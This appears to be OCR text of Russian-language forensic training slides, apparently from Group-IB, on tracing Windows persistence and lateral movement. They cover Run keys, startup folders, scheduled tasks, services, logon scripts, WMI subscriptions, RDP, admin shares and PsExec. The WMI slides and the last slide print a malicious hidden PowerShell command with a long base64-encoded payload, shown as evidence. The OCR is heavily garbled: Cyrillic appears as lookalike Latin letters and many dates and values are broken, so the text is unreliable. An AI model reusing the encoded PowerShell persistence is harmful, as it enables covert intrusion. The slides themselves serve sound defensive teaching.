» 7= AudioEndpointBuilder 11 1 2018-09-1507:36:47 InputApp_cw5n 1h2txyewy RegBinary 1D-F7-76-AD-... | 00-00-0..
» [ Audiosrv 12 2 2018-09-1507:36:47 Microsoft.Windows.SecHealthUL_cw5n1h2bcyewy RegBinary  DC-70-FFF7-.. 63-00-6...
¥ ey AdnstSV = S \Device \HarddiskVolume 1\Windows\System32\MusNotificationUx.exe RegBinary CB-E9-E5-CC-... | C0-74-..
== b06bdrv 8 2 2015-03-19 18:43:49
” by YOOOCT = Microsoft.LockApp_cwSn th2bcyewy RegBinary  2C-00-02-09-0.. 74-00-6..
4~ bam 7 1 2015-03-19 18:43:50
: \Device \HarddiskVolume 1\Windows\System32\cmd.exe RegBinary B9-F6-6B-AC-... 63-00-6...
4| State 0 1/ 2019-03-19 18:43:50
: 2 " I \ TS, fiew 2 i -36 - =T et
4F= UserSettings 0 7 2019-06-05 08:25:54 \Device\HarddiskVolume 1\Jsers\IEUser \AppData\Local\Temp\TeamViewer\TeamViewer_.exe RegBinary 38-DC-36E7 6E-00-7
‘ 2 0 2019-06-05 17:34:42 \Device\HarddiskVolume 1\Program Files (x86)\TeamViewer \TeamViewer.exe RegBinary 85-9F-88-AC-... B0-34-4..
» 28 0 2019-06-05 14:12:15 \Device\HarddiskVolume 1\Windows\System32\SnippingTool.exe RegBinary 32F5-9E-09-9... B0-34-4...
5-1-5-21-34612... 3 0 2013-06-05 17:34:42 \Device\HarddiskVolume 1\Windows \regedit.exe RegBinary DS-08-6E-3D-... (C8-36-4...
5-1-5-90-0-1 3 0 2019-06-05 11:23:01 : \Device\HarddiskVolume 1\Windows\System32\notepad.exe RegBinary DO-DA-15-24-.. 41-45-3...
5§-1-5-90-0-2 3 0 2018-06-05 14:12:16 \Device \HarddiskVolume 1\Windows\System32\OpenWith.exe RegBinary 2A-4D-00-BE-... | 43-35-3...
5-1-5-90-0-3 3 0 2019-06-05 13:29:53 \Device\HarddiskVolume 1\Windows\System32\WindowsPowerShell\v 1.0\powershell.exe RegBinary E0-32-67-AC-... 30-45-4..
LRSS 3 g oo ek Microsoft.Windows. Apprep.ChxApp_cw5n1h2txyewy RegBinary ~ BE-FA-ADF2-.. 63-00-6..
» [~ BasicDisplay 7 2 2019-06-05 11:03:56 Vv
» [~ BasicRender T 1 2019-06-0511:03:37 | | e
BattC 1 0 2018-09-1507:34:18 Type viewer Binary viewer
» [~ BcastDVRUserService 10 2 2018-09-1507:34:18 Vakie riame IVersion
bemfn2 8 0 2018-09-1507:33:19
» = BDESVC 10 4 2018-09-15 09:10:09 Value type IRengord
= Beep 6 0 2018-09-1507:34:18 :
. Value 1
» |~ BFE 13 2/ 2018-09-1507:34:18
» 7= bindfit 9 2 2018-09-1507:34:18
» = BITS 12 3 201S-06-05 14:12:08
» [ BluetoothUserService 8 2 2018-09-1507:35:10
Raw value 01-00-00-00
bowser 0 2018-09-1507:34:18
» 7= BrokerInfrastructure 12 2 2018-09-1507:34:18
» [~ BTAGService 11 2 2018-09-1507:35:10
» [ BthAvctpSvc 11 2 2018-09-1507:35:10 v
Key: = ControlSet001\Services\bam\State\UserSettings\S-1-5-21-3461203602-4096304019-2269080069-1000 Value: = Version Collapse all hives
Selected hive: SYSTEM Last write: 2019-06-05 14:12:15 = 28 of 28 values shown (100.00%) Load complete Hidden keys:0 3 4




Cneabli 3anycka: WINDOWS TIMELINE

ActivitiesCache.db

C:\Users\<profile>\AppData\Local\ConnectedDevicesPlatform\L.<profile>\

Executable

A

Microsoft.Windows.Explorer
Windows\Temp\malware.exe
System32\cmd.exe
Microsoft.Windows.Explorer
Program Files X64\7-Zip\7zFM.exe
Program Files X64\7-Zip\7zFM.exe
Program Files X64\7-Zip\7zFM.exe

Start Time

2019-03-21
2019-03-21
2019-03-21
2019-03-21
2019-03-21
2019-03-21
2019-03-21

12:
12:
12:
12
12z
12
7.9

12+
¥ G 3=
14:
14:
15z
2 Lo
142

15

13
38
30
57
05
38

End Time

2019-03-21

2019-03-21
2919-83=2 )
2019-03-21
2019-03-21
2019-03-21

3 7 I

32
12:
12:
12:
1 .4

14:

3 1 -
18:
1 B~
:40
:47

15
15

30

19
00
11

GROUP|IB




ﬁOUF’ B

MpakTuka: Monyyenne aaHHL1x BACKGROUND ACTIVITY MONITE

Administrator: Command Prompt _ & =

G:\Mony4eHne gaHHbiXx Windows Timeline c¢ nomouwpkw WXTCmd>WXTCmd.exe -f ActivitiesCache.db --csv ./
WxTCmd version ©.3.1.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/WxTCmd

Command line: -f ActivitiesCache.db --csv ./

Activity Packageld entries found: 370
Activity entries found: 124

Results saved to: ./

Processing complete in ©.4483 seconds




GROUP|IB
Cnepgbl 3aKpensneHus B cucrteme

[MogrotoBka [Mowuck cnenos Mowck cneaos [Mowuck cnenos Mowuck cnenos Mouck cnenos
NCTOYHNKOB nepBUYHOM 3anveka 3aKkpenneHns B pacrnpocTpaHeHun OEeNcTBUN Ha
NHdOpMaLnK KoMnpomMeTtauumm y cucreme S1 M0 CETH obbekTax
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Cnepabl 3akpenneHus B cucteme: RUNKEYS

daun Paznen

NTUSER.DAT Microsoft\Windows\CurrentVersion\Run
NTUSER.DAT Microsoft\Windows\CurrentVersion\RunOnce
SOFTWARE Microsoft\Windows\CurrentVersion\Run

SOFTWARE Microsoft\Windows\CurrentVersion\RunOnce




GROUP|IB

) NpakTuka: AHanu3 3Ha4YeHui napameTpos RUN

Values
Value Name |Value Type |Data Value Slack | I... | Data Record Reallocated
¥ | aflc Aflc Aflc Aflc 2] ]
OneDrive RegSz "C:\Users\IEUser \AppData\Local Microsoft\OneDrive \OneDrive.exe” /background 00-00-00-00 ’
» | Temp RegSz %C:\Users\Public\Documents\temp.bat 00-38-00-...

Type viewer Slack viewer Binary viewer

Value name Temp
Value type RegSz
Value C:\Users\Public\Documents\temp.bat

Raw value 43-00-3A-00-5C-00-55-00-73-00-65-00-72-00-73-00-5C-00-50-00-75-00-62-00-6C-00-69-00-63-00-5C-00-44-00-6F-00-63-00-75-00-6D-00-65-00-6E-00-74-00-
73-00-5C-00-74-00-65-00-6D-00-70-00-2E-00-62-00-61-00-74-00-00-00

Slack 00-38-00-57-00-45




GHDUP'iB\

Cnepabl 3akpenneHus B cucteme: STARTUP FOLDERS

[Tonb3oBaTenb [lyTb

C:\Users\<profile>\AppData\Roaming\Microsoft\

EUPERE VS Windows\Start Menu\Programs\Startup

C:\ProgramData\Microsoft\Windows\Start

All users Menu\Programs\Startup




GRDUP‘iB\

) NpakTuka: AHanu3 copgepxmmoro STARTUP FOLDERS

sgecagdlBaec-mBi DEln[HER 2.

Evidence Tree x| |File List
- startup.ad _ Name | Size | Type | Date Modified |
=118 Custom Content image([Mutti]) [AD1] [%]temp.bat 6 Regular File 6/5/2019 9:07:34 AM

=) VICTIM.EO1:Windows 10 [NTFS]
E-LD) froot]
=) Users
E]1:) |EUser
=) AppData
=) Roaming
=3 Microsoft
=) Windows
=) Start Menu
=-C3) Programs
--{) Startup

| temp.bat.FileSlack 3 File Slack




GR’DUF"]B‘

Cnepabl 3akpenneHus B cucteme: TASKS

C:\Windows\System32\Tasks\Task_Name

Malware

Microsoft-Windows-TaskScheduler%4Operational.
evix

ID 106 ID 140 ID 141




IGRoUR|iB|

[MpakTuka: AHanu3 3annaHNpPoBaHHbIX 3a4aHUN

[l AccessData FTK Imager 4.1.1.1 = O X

File View Help
agscag AVE s m B OBE @R 2.
Evidence Tree » | |File List

B"Q] Tasks ad1 Name I Size Type | Date Modified
E]'[','-“ Wood.E01\Windows 7 [NTFSI\[root]\Windows\System32\Tasks [AD1] NESCLa 1 Directory 7/14/2009 4:42:30

E? o | WPD 1 Directory 7/14/2009 4:54:35 ...
L SRCTAr [] STXF_DATA 1 NTFSLogged.. 3/10/2019 12:56:46..
| | Updater 4 RegularFile 3/10/2019 12:56:46...

<?xml version="1.0" encoding="UTF-16"?> A
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2019-03-10T05:56:46</Date>
<Author>Support</Author>
</RegistrationInfo>
<Triggers>
<CalendarTrigger>
<StartBoundary>2019-03-10T09:00:00</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>l</DaysInterval>
Custom Content Sources X </ScheduleByDay>
_Evidence:File System|Path|File | Options | </CalendarTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIlfGoingOnBatteries>true</StoplfGoingCnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkZvailabkle>false</RunOnlyIfNetworkZvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopCnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
< > </IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
NﬁWI»:T | “!ﬁ1:‘3‘“'”4 "f;““'Tl <Enabled>true</Enabled> v

sHiAAensfal ass /HiAdAAanS
Custom Content Sources| < >

Creates a Custom Content Image (AD1) [NUM || Y
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Cnepabl 3akpenneHus B cucteme: SERVIGES

ID 4697

Security.evtx

System.evtx

ID 7034 ID 7035 ID 7036 ID 7040 ID 7045




‘) MpakTuka: Mouck nHdopmaLum o co3gaHum Cryx6

Event 7045, Service Control Manager

General Details

A service was installed in the system.

Service Name: TeamViewer 14

Service File Name: "C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe"
Service Type: user mode service

Service Start Type: auto start

Service Account: LocalSystem

Log Name: System

Source: Service Control Manager Logged: 6/5/2019 2:36:18 PM
Event ID: 7045 Task Categery: None

Level: Information Keywords: Classic

User: 5-1-5-21-3461203602-40963( Computer: VICTIM

OpCode: Info

More Information: Event Log Online Help

GRDUP'iB\
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Cnepbl 3akpenneHust B cucteme: LOGON SCRIPTS

I HKCU\Environment\UserInitMprLogonScript

Malicious Script




[MpakTukKka: AHanu3 3Ha4YeHUU NnapamMeTpa GROUR|iB
" USERINITMPRLOGONSCRIPT

Values
Value Name Value Type Data Value SI... | ... | Data Record Reallocated
[ v | o0c e i ] @ A
| Path RegExpandSz %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; 00-00-0...
TEMP RegExpandSz %USERPROFILE%\AppData\Local\Temp 00-00
T™MP RegExpandSz %USERPROFILE%\AppData\Local\Temp 00-00
OneDrive RegExpandSz C:\Users\IEUser\OneDrive 00-00
ChocolateylLastPathUpdate RegSz 131974685787905910 73-00-3...
» | UserInitMprLogonScript RegSz §C:\UsersV’ublicbgaxmeﬁts\temp.bat 00-00-0... | | | v

Type viewer Slack viewer Binary viewer

Value name UserInitMprLogonScript

Value type RegSz

Value C:\Users\Public\Documents\temp.bat

Raw value 43-00-3A-00-5C-00-55-00-73-00-65-00-72-00-73-00-5C-00-50-00-75-00-62-00-6C-00-69-00-63-00-5C-00-44-00-6F-00-63-00-75-00-6D-00-65-00-6E-00-74-00-
73-00-5C-00-74-00-65-00-6D-00-70-00-2E-00-62-00-61-00-74-00-00-00

Slack 00-00-00-00-00-00




IGRoUR|iB|

Cneabl 3akpenneHus B cucteme: WMI EVENT SUBSCRIPTION

C:\WINDOWS\system32\wbem\Repository\OBJECTS.DATA

Command Prompt — O X

Updater-Updater

Name: Updater
Type: CommandLineEventConsumer
Argumen - ows \ \ Wi 4“-: 0 :Y:'_ﬁﬁ"l e\ puuw“ri_-- exe -Hon' -n F:*
BIAGSATgBUAE )
BbﬁuuhbbE‘ EwAeQA ARQBUAFQAEQ tACAATOBhA Enﬁuuﬁb_eﬂauqhdanu
AdA : G ' ABHAHIAbwB1AHAAUAB
E_aLLHLAAnA~4 1UH HLLHbuEUA AA JLE GUAaOEjACUAUUE@h AdABpAGMAJWApPA «H\QEGHLgH ABHA AARCAD“
AEUAJABWAEEAbABVAEUAKAAKAG4AdQ E”HbuaKCA/A:KHRCHUaLvARUEQA~-annkﬂa *UB-' IA\AEOH__AWUa A
5/ AQwBbACCcAUWB JAHIAaQBWAHQAQgANACSA A ) /
AAdABCACCAKWANAGWAbWB JAGSATABVA ZWBpA "ﬂ, AnAFBA ;"-“ sAJABHAFAAQWBbACCAUWB jAHIA2QBWAHQA AnA 1 _“ SA\UE“A unbu
AaQBuAG wBdAFsSAJWBFAG4/ 1A . AHAZ \$ ABpAG8A 1A
ASADAATQAKAHYAYQBMADOAWWBDAGS! S . / \i : \ g
BnACWAUWBZAHMAJABFAEGAL gBPAGIASgB1AGMAJABIAF A6 ZQB3ACEAKQATACOAVEBEAGHA AEQAZAAOACCA A AGUAUWB JAHIAEQ
BWAHQAQEANACSAJWBSAGSAYWBrAEWAbWBNA AROEHAG AJWA AKQA7ACQA ARQBUAGEAYgBSAGUAUWB aQBWAHQAQg
BSAGBAYWBrAEKADEB2AGEAYWBhAHQAQBVAGAATABVAG DA JANACY ADSAJABHA ' AEWATWBD! 'AEFA:OAOC
BD? ASQBC ’AE'AQSA ﬂEO HLH-CE,HGHHXHEQAU \BpAGMA2QB1AHMAXABNAGKAY .
1 : DEU-«Hu»—\ JE"W-\ 8A) UE""'—UAL‘IUEHAG\'

(-‘l

?QA\gEEH_un\“E~ LCHWnEuarthAB”ACwAKABCAG
:gAQQB Huchqu—Hvahua'AHQA- AE4ARWBdA

'EFACAARGE:AHQARQBJ
J»;rl»—\(. ’ﬂLCE HGl];ﬂ‘d"l\E\lt




|GROUP‘]B‘

[MpakTuka: Monck nndopmaumu o WMI EVENT SUBSCRIPTION

Administratoer: Command Prompt - O X

G:\Mouck uHbopmauum o WMI Event Subscription ¢ nomouwpbk wmi-parser>wmi-parser.exe -1 OBJECTS.DATA

wmi-parser v0.0.1

Author: Mark Woan / woanware (markwoan@gmail.com)
https://github.com/woanware/wmi-parser

Updater-Updater

Name: Updater

Type: CommandLineEventConsumer

Arguments: C:\Windows\System32\WindowsPowerShell\vl.8\powershell.exe -NonI -W hidden -enc SQB
mACgAJABQAFMAVgB1AHIAcwWBIAGSBATgBUAEEAYgBMAGUALgBQAFMAVEB1AHIAUWBpAESAbgAUAEOAYQBGAGBAUgAZACOARWBF
ACAAMWApAHsSAJABHAFAARgASAF sAUgBFAEYAXQAUAEEAcwBzAGUAbQBiAEWAeQAUAE cARQBUAFQAeQBQAGUAKAANAFMAeQBZA
HQAZQBTAC4ATQBhAG4AYQBNAGUAbQB1AG4AdAAUAEEAdQBOAGBAbQBhAHQAaQBVAG4ALgBVAHQAaQBsSAHMAIWAPAC4AIgBHAE
UAJABGAGKAZQBgAGWAZAALIACgAIWBJAGEAYWBOAGUAZABHAHIAbwB1AHAAUABVAGWAaQBjAHKAUWB1AHQAJABPAG4AZWBZACC
ALAANAE4AJWArACcAbwBUAFAAdQB1AGWAaQBJACWAUWBOAGEAJABPpAGMAIWAPADSASQBGACgAIABHAFAARgAPAHSAJABHAFAA
QWASACQARWBQAEYALgBHAEUAJABWAEEADABVAEUAKAAKAG4AdQBMAGWAKQA7AEKARgAOCACQARWBQAEMAWWANAFMAYWBYAGKAC




GROUP|IB

Cnepbl pacnpocTpaHeHus Nno ceTu

[MogrotoBka [Mowuck cnenos Mowck cneaos [Mowuck cnenos Mowuck cnenos Mouck cnenos
NCTOYHNKOB nepBUYHOM 3anveka 3aKkpenneHns B pacrnpocTpaHeHun OEeNcTBUN Ha
NHdOpMaLnK KoMnpomMeTtauumm y cucreme S1 M0 CETH obbekTax
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Cnepbl PacnpoctpaHeHus no cetu:RDP

NCTOYHUK

KypHanbl

CoObITUN Security.evtx ID 4648

Microsoft-WindowsTerminalServicesRDP ID 1024
Client%40perational.evtx ID 1102

NTUSER.DAT | Software\
Microsoft\Terminal Server Client\Servers

dannoBas C:\Users\<profile>\AppData\Local\Micr
cucrema osoft\Terminal Server Client\Cache




[MpakTuka: Nouck CnepoB Ucxoaswwmx RDP- [GROUP|I
[MoaknoyeHun

& Registry Explorer v1.4.2.0 — O X
File Tools Options Bookmarks (24/0) View Help
Registry hives (1) Available bookmarks (24/0) Values
Key name T | # values # subkeys Last write timestamp
= — — = = T
S P ok aaton 0 1 2019-03-19 10:49:34 »Value Name 'Value Type -Data _Value Slack -Is Del... . Data Record Reallocated
b F= Phone 0 1 2019-03-19 10:49:34 ¥ | Qe "c "e "e = _
» == Pim 0 1 2019-03-19 11:01:33 » |Username... RegSz IEUser 70-70-73-...
» |~ Poom 1 2019-06-0507:32:11
» 7= RAS AutoDial 0 1 2019-06-0507:43:52
Remote Assistance 0 0 2019-03-19 10:49:34
ScreenMagnifier 1 0 2019-03-19 10:49:34
Sensors 0 0 201S-03-19 10:49:34
Silverlight 1 0 201S9-03-19 10:54:41
SkyDrive 1 0 2019-06-0507:09:49
» [~ Speech 0 2 2019-06-05 11:38:45
Speech Virtual 0 0 2019-03-19 10:49:34
» = Speech_OneCore 0 7 2019-03-19 11:15:50
SQMClient 1 0 2019-03-19 10:52:17
» 7 SystemCertificates 0 8 2019-03-19 10:53:46
» [ TabletTip 0 1 201S9-03-19 10:49:34
4~ Terminal Server Client 0 2 2019-06-05 08:28:40
» [ Default 2 1 2019-06-05 11:37:57
4~ Servers 0 2 2019-06-05 11:34:37
» ~-110.9.3.136 1 0 2019-06-0508:28:38 | e
VICTIM 1 0 2019-06-05 11:34:37 Type viewer Slack viewer Binary viewer
» [ UBV 0 1/2019-03-19 10:49:34 Value name |UsernameHint
» ©= Unified Store 2 1 2019-03-19 11:01:33
== Unistore 1 0 2019-03-19 11:01:33 Value type  [RegSz
» [T UserData 0 1 2019-06-0507:33:32
: Value IEUser
» = WAB 0 1 2019-03-19 10:49:34
» £ WamSvc 0 1 2019-03-19 10:49:34
» wfs 5 2019-03-19 10:49:34
by F= Windows 7 2019-03-19 10:50:06 Raw value 45-00-45-00-55-00-73-00-65-00-72-00-00-00
3 Windows NT 0 1 2019-03-19 10:49:34
» = Windows Script Host 0 1 2019-03-19 10:50:39
T 2 oo nn man o 1] | Siack |70-70-73-00-00-00
Key: = Software\Microsoft\Terminal Server Client\Servers\10.9.3.136 Value: = UsernameHint | Collapse all hives
Selected hive: NTUSER.DAT = Lastwrite: = 2019-06-0508:28:38 = 1 of 1 values shown (100.00%) @ Load complete Hidden keys: 0 = 3 r
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) MpakTuka: PekoHcTpyKkuus RDP-kawa

— O X

)

Command Prompt

G: \PekoHcTpykuma ksawa RDP c¢ nomowpw BMC Tools\bmc-tools>C:\Python27\python.exe bmc-tools.py
-s "G:\PekoHcTpykuua kawa RDP ¢ nomowbw BMC Tools" -d "G:\PekoHcTpykuusa k3awa RDP ¢ nomouwbr
BMC Tools" -b

[+++] Processing a directory...

[===] 273 tiles successfully extracted in the end.

[===] Successfully exported 273 files.

[===] Successfully exported collage file.

G: \PekoHcTpykuma k3wa RDP c¢ nomouwpkw BMC Tools\bmc-tools>




Cnepbl PacnpoctpaHeHus no cetu:RDP

HasHa4yeHune

KypHanbl

cOOBLITUN Security.evtx

Microsoft-WindowsRemoteDesktopServi
cesRdpCoreTS%40perational.evix

Microsoft-Windows-Terminal
Services-RemoteConnection
Manager%40Operational.evtx

Microsoft-Windows-Terminal
Services-LocalSession
Manager%40perational.evtx

ID 4624
ID 4778
ID 4779

ID 131
ID 98

ID 1149

D 21
D 22
D 25

GR’DUF"]B‘




') MpakTuka: Mouck Bxoasimx ROP-NMoaknoueHU

Event 4624, Microsoft Windows security auditing.

General Details

Impersonation Level:

Network Account Domain:

Logon GUID:

Process Information:

Process ID:
Process Name:

Network Information:

An account was successfully logged on.

Subject:
Security ID: CUCTEMA
Account Name: MSEDGEWIN10S
Account Domain: WORKGROUP
Logon ID: Ox3E7

Logon Information:
Logon Type: 10
Restricted Admin Mode: No
Virtual Account: No
Elevated Token: Yes

Impersonation

New Logon:
Security ID: S-1-5-21-1058341133-2092417715-4019509128-1004
Account Name: Wilfred
Account Domain: MSEDGEWINT0
Logon ID: Ox1445A32
Linked Logon ID: Ox1445A4F
Network Account Name: -

{00000000-0000-0000-0000-000000000000}

Ox6a4
C:A\Windows\System32\svchost.exe

Workstation Name: MSEDGEWIN10
Source Network Address:  192.168.1.73
Source Port: 0

IGROUR|B




Cnepbl PacnpocTpaHeHus no ceTu: 5ROUP ||
AOoMUHUCTpPaATUBHbDbIE O0LLMe pecypChbl

CTOUYHUK

KypHanbl
COObLITUN

USRCLASS.DAT | Local
PeecTtp Settings\Software\Microsoft\Windows\
Shell\Bags

Security.evtx ID 4648

USRCLASS.DAT | Local
Settings\Software\Microsoft\Windows\
Shell\BagsMRU

HasHa4yeHune

KypHanbl

G Security.evtx ID 4624




IGROUP|IB

‘) NpakTuka: ABMUHUCTPATUBHbIE 06LWMe pecypcChbl

& ShelBags Explorer v1.3.2.0 — O X
File Tools Help

Value

» Aﬁﬁ ;Desktop

............................................................................................................................................

4 -:1- Computers and Devices | Value ‘ Icon . Shell Type 4 MRLU Position . Created On . Modified On | Accessed On . First Interacted
48 10.9.3.13 v |l Noim... | sJc & = = = %
445 \\10.9.3.136\c$ ' » | Home Folder {} Root folder: GUID 3 2019-03-19 11:14:45
. Program Files (x86) My Computer -:} Root folder: GUID 1
Program Files Control Panel {:} Root folder: GUID 2
b Users Computers and Devices ﬁ- Root folder: GUID 0
» -ﬁ- My Computer < >
v -I:- ControlPanel | T
'ﬁ' Home Folder Summary | Details  Hex

Name: \\10.9.3.136\cS

Absolute path: Desktop'\Computers and Devices'10.9.3.136110.9.3.136\cS
Key-Value name path: BagMRU'3'0-0

Registry last write time: 2019-06-05 08:42:33.506

Miscellaneous

Shell type: Network location
Node slot: 18

MRU position: 0

# of child bags: 3

Last interacted with: 2019-06-05 08:42:33.506

‘UsrClass.dat’ Registry hive loaded in 0.7762 seconds! = 4 shellbags loaded in 0.2688 seconds Time zone: UTC 4 of 4 rows visible (100.00%)

-
o
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Cneabl PacnpocTtpaHeHusi no cetu: PSEXEG

CTOYHUK

KypHanbl
COObLITUN

Security.evtx ID 4648

NTUSER.DAT | Software\Sysinternals\PsE
xec\EulaAccepted

dannosagd Cnegbl
cuctema

psexec.exe

3anycka
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| MpakTuka: NMounck cneanos PSEXEC Ha xocTe-MCTOUYHUK

& Registry Explorer v1.4.2.0 — O X
File Tools Options Bookmarks (24/0) View Help
Registry hives (1) Available bookmarks (24/0) Values
Key name # values # subkeys Last write timestamp
b 4 . Afc - . ' = ' =
4 @ G:\Nonck cnenos ncnonbsosams PSEXec ... ’ Value Name . Value Type ‘ Data » Value Slack A IsDe... » Data Record Reallocated
4= ROOT 0 10 2019-06-05 08:17:25 ¥ | "0 A0c "0c AQc _ .
» [~ AppEvents 0 2 2019-03-19 10:49:34 » |EulaAccepted RegDword 1
» [~ Console 45 2 2019-03-19 10:45:34
» == Control Panel 1 15 2019-06-0507:07:13
— Environment 5 0 2019-06-0507:09:43
» = EUDC 0 4 2019-03-19 10:459:34
» == Keyboard Layout 0 3 2019-03-19 10:49:35
= Network 0 0 2019-03-19 10:49:34
» [~ Printers 0 2 2019-06-0507:33:39
4 Software 0 13 2019-06-05 11:39:35
== 7-Zip 2 0 2019-06-0509:12:41
» [~ AppDatalLow 0 1 2019-03-19 10:49:41
3 Famatech 0 1| 2019-06-05 07:58:23
» 7= Google 0 3 2019-06-05 11:38:43
» 7= Microsoft 0 68  201S9-06-05 10:17:26
» 7 Mozilla 0 1 2019-06-0509:05:28
3 Policies 0 2 2019-03-19 10:49:34
» [~ PuppetLabs 0 1 2019-03-19 11:30:08
RegisteredApplications 58 0 2019-06-0507:33:40 | . seee
47 Sysinternals 0 3 2019-06-0509:16:16 Type viewer Binary viewer
.BGInfo 1 0 2019-03-19 10:50:44 Value hame lEulaAccepted
» ~—i PsExec 1 0 2019-06-0509:16:16
SDelete 1 0 2019-03-19 11:36:27 Value type  [RegDword
b [ TeamViewer 11 1 2019-06-05 14:12:27 Value 1
3 Winternals 0 1 2019-03-19 10:50:44
» £ Wow6432Node 0 1 2019-03-19 10:49:38
» [T System 0 2 2019-03-19 10:49:37 :
Key: = Software\Sysinternals\PsExec Value: = EulaAccepted @ Collapse all hives
Selected hive: NTUSER.DAT = Lastwrite: = 2019-06-0509:16:16 = 1 of 1 values shown (100.00%) @ Load complete Hidden keys:0 = 5




Cneabl PacnpocTtpaHeHusi no cetu: PSEXEG

JKypHanbl
COObITNN

dannoBas
cuctema

HasHadyeHue

Security.evtx

System.evtx

SYSTEM |
CurrentControlSet\
Services\PSEXESVC

C:\Windows\psexecsvc.exe

ID 4624
ID 4672
ID 5140

ID 7045

GRDUF"]B‘




) MpakTuka:Nouck cnenos. PSEXEC Ha xocTe-H a3HaL|e|-|h

General Details

Event 7043, Service Control Manager

Log Name:
Source:
Event ID:
Level:

User:
OpCode:

More Information:

A service was installed in the system.

Service Name: Temp

Service File Name: %SystemRoot%\Temp.exe
Service Type: user mode service

Service Start Type: demand start

Service Account: LocalSystem

System

Service Control Manager
7045

Information
5-1-5-21-3461203602-40963(
Info

Event Log Online Help

Logged:
Task Category:
Keywords:

Computer:

6/5/2019 12:36:58 PM
None

Classic
VICTIM

RDUF"iB‘
7




Cnepbl PacnpoctpaHeHus no cetu: WMl

JKypHanbl

CcoObITUN

KypHarnbl

CcoObITUN

CTOYHUK

Security.evtx

HasHadyeHue

Security.evtx

Microsoft-Windows-WMIActivity%40pe
rational.evtx

ID 4648

ID 4624
ID 4672

ID 5857
ID 5860
ID 5861

GRDUF"iB‘
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[MpakTuka:Nouck cnepoB nogknovyeHun yepes WM

Event 4624, Microsoft Windows security auditing. Svess i Microsolt Wirkfows fhrsmon

General Details

General Details

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe A
6.1.7600.16385 (win7_rtm.090713-1255)

An account was successfully logged on. Windows PowerShell

Microsoft® Windows® Operating System

Microsoft Corporation

Subject: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Nonl -W hidden -enc
Security ID: CUCTEMA SQBmACgAJABQAFMAVgBIAHIACWBIAGEATgBUAEEAY gBMAGUALgBQAFMAVgBIAHIAUWBPAEBAbgAUAEDAYQBGAGBAUgAgACOARWBFACAAMWApAHSAJABHAFAARGAIAFsAUGBFAEYAXQAUAEEACWBZAGUABQBIAEWAQAUAECARQBUAFQAEQBQAGUAKAANAFMAEQBZAHQAZQ
A N ) IEWINTS BtAC4ATQBhAG4AYQBnAGUABQBIAGAAAAUAEEAJQBOAGBABQBhAHQAZQBVAGAALgBVAHOQAZQBSAHMAIWAPACAAIgBHAEUAJABGAGKAZQBgAGWAZAAIACGAIWBJAGEAYWBoAGUAZABHAHIAbwB1AHAAUABVAGWAaQBAHKAUWBIAHOQAJABPAGAAZWBZACCALAANAEAAIWATA
CCOUIIE INARTIE: CcAbwBUAFAAJQBIAGWAaQBjACWAUWBOAGEAJABPAGMAIWAPADSASQBGACGAIABHAFAARGAPAHSAJABHAFAAQWAIACOARWBOAEYAL gBHAEUAJABWAEEABABVAEUAKAAKAGAAJQBMAGWAKQATAEKARGAOACQARWBQAEMAWWANAFMAYWBYAGKACABOAEIAIWATACCAbABY
Account Domain: TEST AGMAawBMAGBAZWBnAGkAbgBnACCAXQAPAHSAJABHAFAAQWBbACCAUWBjAHIAZQBWAHOQAQGANACSAIWBSAGBAYWBrAEWAbWBNAGCAaQBUAGCAIWBAAFsAIWBFAG4AYQBIAGWAZQBTAGMACgBpAHAAJABCACCAKWANAGWAbWB]AGSATABVAGCAZWBPAGAAZWANAFOAPQAWA
Logon ID: 0x3E7 DsAJABHAFAAQWBbACCAUWBJAHIAZQBWAHQAQgANACSAIWBSAGEAYWBrAEWAbWBNAGCcAaQBUAGCAIWBAAFsAIWBFAGAAYQBIAGWAZQBTAGMACGBpAHAAJABCAGWAbWB]AGSASQBUAHYAbWBJAGEAJABPAGBAbgBMAGEBAZWBNAGKAbgBnACCAXQAIADAAFQAKAHYAYQBMADD

AWwWBDAGSATABSAGUAYwWBUAEKATWBUAHMALgBHAGUAbgBFAHIAaQBJAC4ARABpAEMAAABJAGBATgBBAFIAeQBbAHMAVABYAGkAbgBnACWAUWBZAHMAJABFAEDALgBPAGIASgBIAGMAJABJAFOAOGABAE4AZOB3ACgAKQATACQAVgBBAGWALgBBAEQAZAACACCARQBUAGEA
YgBsAGUAUwBjAHIAaQBwAHOQAQgANACsAIWBSAGSAYWBrAEWAbwWBNAGcAaQBUAGCAIwASADAAKQATACQAVgBBAGWALgBBAGQARAA0ACCARQBUAGEAY gBsAGUAUWBjAHIAaQBWAHOAQgBSAGSAYWBIAEKAbgB2AGEAYWBhAHQAaQBVAGAATABVAGCAZWBPAGAAZWANACWAM
Log on Typ e 5 AApADsAJABHAFAAQWBbACCASABLAEUAWQBFAEWATWBDAEEATABFAEOAQQOBDAEgASQBOAEUAXABTAGEAZgBOAHCAYQBYAGUAXABQAGEAbABpAGMAaQBIAHMAXABNAGKAYWByAGSAcwBVAGYAJABCAFcAaQBUAGQAbwB3AHMAXABQAGSAdwBIAHIAUWBoAGUAbABSAFWAU
wBjAHIAaQBWAHQAQgANACSAJWBSAGBAYWBrAEWAbwBNAGcAaQBUAGcAIWBAADOAJAB2AEEADABISAEUADABTAEUAewBbAFMAQwBYAGKAUABUAEIADABPAGMAawBdAC4AIgBHAGUAVABGAGKAZQBgAGWARAAIACgAIWBZAGKAZWBUAGEAJABTAHIAZOQBZACCALAANAELAIWATAC
